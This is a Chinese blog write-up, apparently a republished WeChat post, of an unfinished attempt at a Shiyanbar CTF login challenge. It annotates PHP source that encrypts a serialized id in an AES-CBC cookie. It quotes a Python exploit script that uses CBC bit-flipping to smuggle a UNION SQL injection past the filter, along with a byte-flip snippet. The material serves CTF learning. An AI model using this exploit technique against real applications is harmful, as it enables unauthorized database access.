前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >实验吧“一道超级简单的登陆题”

实验吧“一道超级简单的登陆题”

作者头像
天钧
发布2019-07-28 15:05:31
1.2K0
发布2019-07-28 15:05:31
举报
文章被收录于专栏:渗透云笔记

刚背完科一,脑袋还是晕乎乎的,开始码文,希望各位读者大大,不要骂我,我还是遵守承诺一天一更,用的实验吧

进去给我呈现个这种页面

这种很大几率是注入,注入的话,提交个'试试

我的妈,看看审查元素藏东西没

毛都没有,这是个假站,不做了,告辞!等等我还没试过抓包,试试

返回时,还报了个错,是个大佬,对待大佬,就应该打他!!!

可疑点tips防止表单重复提交打开看看是什么玩意。

源码,这是让我分析吧,这是第一题????这么刺激吗?有点小激动,不过这太乱了我整理一下

代码语言:javascript
复制
("SECRET_KEY", '***********'); #查询KEY,哈哈哈什么鬼,代码作用全靠猜define("METHOD", "aes-128-cbc"); #是个加密方法吧,128-cbc很眼熟error_reporting(0); include('conn.php'); #引用文件function sqliCheck($str){#function应该是定义模块,我看到返回值了。定义函数名sqliCheck接收值后放入$str  if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){ #这个应该是过滤。if里是条件,再考绕过吗?          return 1; #返回1              }           return 0; #返回值为0          } function get_random_iv(){ #定义了个函数,不过应该有调用的,看了一下在20行,在下面,结合看一下      $random_iv='';       for($i=0;$i<16;$i++)      {       $random_iv.=chr(rand(1,255)); #像不像Python里的range扯远了,这里应该是生成数值然后进行字符char进行赋值      }      return $random_iv; #返回值      }  function login($info){ #登陆,直觉告诉我这个很重要    $iv = get_random_iv();#开始调用上面的那个函数    $plain = serialize($info); #一看就是序列化,serialize() 函数用于序列化对象或数组,并返回一个字符串。serialize() 函数序列化对象后,可以很方便的将它传递给其他需要它的地方,且其类型和结构不会改变。    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);     setcookie("iv", base64_encode($iv)); #cookie加密成base64,感觉对我帮助不大,希望没有猜错源码的意思    setcookie("cipher", base64_encode($cipher)); #这个对象$cipher,应该是吧上面的全部加密了    }  function show_homepage(){       global $link;       if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){         $cipher = base64_decode($_COOKIE['cipher']);         $iv = base64_decode($_COOKIE["iv"]);       if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv))      {         $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize"); #反序列化跟上面对应,也即是说上面给我登陆时序列化了,然后又反序列化        $sql="select * from users limit ".$info['id'].",0"; #重点,查询语句出现了,select*from users查询这个表单,链接我们提交的ID,后面跟了个0,不明白用处        $result=mysqli_query($link,$sql);         if(mysqli_num_rows($result)>0 or die(mysqli_error($link)))        {           $rows=mysqli_fetch_array($result);          echo 'Hello!'.$rows['username'].'';#输出hello,顺便一个username,这样啊,应该是调戏我。         }           else{ echo 'Hello!'; }       }          else{ die("ERROR!"); }       }       }       if(isset($_POST['id'])){ #post方式提交ID        $id = (string)$_POST['id']; #再换成字符        if(sqliCheck($id))         die("sql inject detected!");         $info = array('id'=>$id);索引为id,值为$id,好了我大概知道是什么意思了        login($info); echo 'Hello!';         }      else{ if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher']))      {         show_homepage();       }      else{         echo 'Login Forminput id to loginid';       }       }

也可以大佬对其的分析

代码语言:javascript
复制
<?phpdefine("SECRET_KEY", '***********');define("METHOD", "aes-128-cbc");error_reporting(0);include('conn.php');function sqliCheck($str) {    //只要匹配到这些字符,就会输出“检测到SQL注入”    #解答这道题的关键就在于人如何绕过这个正则的字符过滤    if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)) {        return 1;    }    return 0;}function get_random_iv() {    $random_iv='';    for($i=0; $i<16; $i++) {        $random_iv.=chr(rand(1,255));    }    return $random_iv;}function login($info) {    $iv = get_random_iv();    $plain = serialize($info);    #序列化的意义    /*****************     <?php     #序列化的意义在于将数组从内存中存储到硬盘中,减轻内存的使用量     #另一个用途就是在网络上传送字节序列     $a=array("test","abc","desdf","12345","博客","www.jb51.net","heqile","个人博客");     $b=serialize($a);     print_r($b);     #a:8:{i:0;s:4:"test";i:1;s:3:"abc";i:2;s:5:"desdf";i:3;s:5:"12345";i:4;s:6:"博客";i:5;s:12:"www.jb51.net";i:6;s:6:"heqile";i:7;s:12:"个人博客";}     #仔细观察一下,应该不难发现序列化之后的字符串格式是有规律的:     #a:8--->含有8个元素的数组     #i:0;s:4:"test"--->在数组中的索引为0,字符串长度为4,字符串是test     echo "<br/>";     $c=unserialize($b);     print_r($c);     #Array ( [0] => test [1] => abc [2] => desdf [3] => 12345 [4] => 博客 [5] => www.jb51.net [6] => heqile [7] => 个人博客 )     ?>     *****************/    $cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);    setcookie("iv", base64_encode($iv));    setcookie("cipher", base64_encode($cipher));}function show_homepage() {    global $link;    if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])) {        $cipher = base64_decode($_COOKIE['cipher']);        $iv = base64_decode($_COOKIE["iv"]);                #反序列化,解密,这些参数的意义我也不太清楚,不是很了解openssl这个加密算法        if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)) {            $info = unserialize($plain) or die("base64_decode('".base64_encode($plain)."') can't unserialize");                        #我们必须要想办法把后面的  ,0  注释掉,不然我们是不可能看到结果的            $sql="select * from users limit ".$info['id'].",0";            $result=mysqli_query($link,$sql);            if(mysqli_num_rows($result)>0 or die(mysqli_error($link))) {                $rows=mysqli_fetch_array($result);                echo '        Hello!'.$rows['username'].'        ';            } else {                echo '        Hello!        ';            }        } else {            die("ERROR!");        }    }}if(isset($_POST['id'])) {    $id = (string)$_POST['id'];    if(sqliCheck($id))        die("sql inject detected!");        $info = array('id'=>$id);        #声明了一个数组,索引为字符串'id',值为$id        login($info);        #登录,并返回Cookie值        echo 'Hello!';} else {    if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])) {        show_homepage();    } else {        echo 'Login Form input id to login';    }}?>--------------------- 作者:virtu41 原文:https://blog.csdn.net/include_heqile/article/details/79942993 

这种玩意,要么绕过,

代码语言:javascript
复制
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str))

这个过滤了union|like|procedure

要么就是查询哪里做文章

代码语言:javascript
复制
$sql="select * from users limit ".$info['id'].",0";

还有一个就是它说的加密方法。要不一般的网站谁说,肯定是提示

代码语言:javascript
复制
define("METHOD", "aes-128-cbc");

去看一下攻略吧

跟我分析的差不多

代码语言:javascript
复制
cipher=uFv%2FLnn3XcSGf%2F3ntf0PtDF6PauIqNXK6QDDyo%2B0ftw%3D
代码语言:javascript
复制
iv=GqyyISNg8M6YEV3GuT%2BtYw%3D%3D

找了个大佬的exp

代码语言:javascript
复制
import requests,base64,urllib,math
def work():    url = 'http://ctf5.shiyanbar.com/web/jiandan/index.php'    payload = '0 union select 1,value,3 from you_want limit 1#'      #payload = 'x'*20
    plaintext = 'a:1:{s:2:"id";s:%d:"%s";}'%(len(payload),payload)    badText = 'x'*16    if len(plaintext)%16:        if len(plaintext)%16>3:            badText = 'x'*(len(plaintext)%16-3)+'";}'        elif len(plaintext)%16 == 3:            badText = '";}'        elif len(plaintext)%16 == 1:            badText = '}'        else:            badText = ';}'    r = requests.post(url,data={'id':'x'*len(payload)})    sc = r.headers['Set-Cookie'].split(',')
    iv = 'a'*16    cipher = sc[1][sc[1].find('=')+1:]    blockNum = len(cipher)/16    cipher = base64.b64decode(urllib.unquote(cipher))    blockNum = len(cipher)/16    cipherBlock = [iv]    cipherBlock += [cipher[16*i:16*(i+1)] for i in xrange(blockNum)]    plainBlock = [plaintext[16*i:16*(i+1)] for i in xrange(blockNum)]
    for i in xrange(blockNum-1,-1,-1):        s1 = plainBlock[i]        s2 = cipherBlock[i]        tmp = ''
        for j in xrange(len(s1)):            tmp += chr(ord(s1[j])^ord(badText[j])^ord(s2[j]))
        cipherBlock[i]=tmp+s2[len(tmp):]        if i == 0:            iv = cipherBlock[0]
        iv_new = urllib.quote(base64.b64encode(iv))        cipher_new = urllib.quote(base64.b64encode(''.join(cipherBlock[1:])))        headers={'Cookie':'iv={};cipher={}'.format(iv_new,cipher_new)}
        r = requests.get(url,headers=headers)
        if i != 0:             tmp = r.text[r.text.find('decode')+8:r.text.rfind("')")]            badText = base64.b64decode(tmp)[16*(i-1):16*i]        else:            print r.text.encode('gb18030')

work()--------------------- 作者:r00tnb 

但是原理不懂,有exp来做题,那对自己的帮助不大,

找了张原理图,来看一下加密的流程,英语不好的我,顺便汉化,如下

解密就是倒过来

代码语言:javascript
复制
$id = '12';$info=array('id'=>$id);$plain = serialize($info);结果为:    a:1:{s:2:"id";s:    2:"12";}16个字节为一行,不足者填充,2对应上一行中的{由CBC加密的方式我们可以知道,{位置的值会影响到2位置的值其实这个问题很好解释:约定half_plain为第二组使用秘钥解密后的字符串,则有:half_plain^{=2我们现在想让右边变成#,则有:half_plain^{^2^#=2^2^#所以我们就要将{对应的位置改为{^2^#在脚本中是这样表达的:    cipher_raw=b64decode(urllib.unquote(cipher))    #先进行url解码,再使用base64解码,得到原始密文    lst=list(cipher_raw)    #将密文转换成列表的形式,以便于对单个字节进行操作    idx=4    c1 = '2'    c2 = '#'    lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))    cipher_new=''.join(lst)  #将列表转换成了字符串  cipher_new=urllib.quote(b64encode(cipher_new))  #对原始密文base64转码,并进行url编码--------------------- 作者:virtu41

其实到这里我感觉这道题的翻转去用来绕过这个过滤的,因为时间的关系,只能先搁浅了,只能说是未做完的题目,因为今天要考了科一,所以没有什么状态,这篇文也是匆匆赶出来的,为了保证一天一篇文章,也不申请什么原创了,引用了太多大佬的,东西,原文的链接我已经挂到公众号下面了,点击原文即可查看,我要好好琢磨一下,然后再从新写。抱歉

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2019-06-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档